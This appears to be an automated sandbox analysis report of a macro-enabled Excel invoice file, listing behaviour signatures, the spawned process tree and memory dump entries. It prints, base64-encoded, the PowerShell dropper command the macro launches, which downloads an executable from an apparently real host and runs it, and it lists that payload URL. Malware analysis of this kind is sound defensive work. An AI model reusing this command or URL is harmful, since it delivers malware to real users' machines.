Analysis
- max time kernel
4264977s - max time network
79s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
15/01/2022, 09:21
General
- Target Invoice INB007.xlsm
- Size 70KB
- Sample220115-lbcbtaeadj
- SHA256 e03cca36904d67849b070b88fc3452398de8e7efd91bf2db362eb2bb8cfa82aa
Malware Config
Extracted
-
ps1
-
exe.dropper
http://welovepetssa.co.za/op/rua.pif
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- NTFS ADS 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice INB007.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Epukeuznvfp.bat2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAHYAYQBxAGIAZABsAGkAbABnAGQAeAB3AG4AYwB0AGcAYwBvAGwAdQB6AHcALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwB3AGUAbABvAHYAZQBwAGUAdABzAHMAYQAuAGMAbwAuAHoAYQAvAG8AcAAvAHIAdQBhAC4AcABpAGYAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA==3⤵
-
-
-
C:\Windows\system32\MusNotification.exeC:\Windows\system32\MusNotification.exe1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2940-146-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-148-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-134-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/2940-136-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-135-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-137-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-138-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-139-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-140-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-141-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-142-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-143-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-144-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-145-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-133-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/2940-130-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/2940-150-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-149-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-147-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-151-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-152-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-153-0x000001F739DD0000-0x000001F739DD2000-memory.dmp
memory/2940-154-0x000001F739DD0000-0x000001F739DD4000-memory.dmp
memory/2940-155-0x000001F739DD0000-0x000001F739DD6000-memory.dmp
memory/2940-132-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/2940-131-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/3876-160-0x0000022834CC0000-0x0000022834CC2000-memory.dmp
memory/3876-159-0x0000022834CC0000-0x0000022834CC2000-memory.dmp
memory/3876-161-0x0000022834CC0000-0x0000022834CC2000-memory.dmp
memory/3876-162-0x0000022834CC0000-0x0000022834CC2000-memory.dmp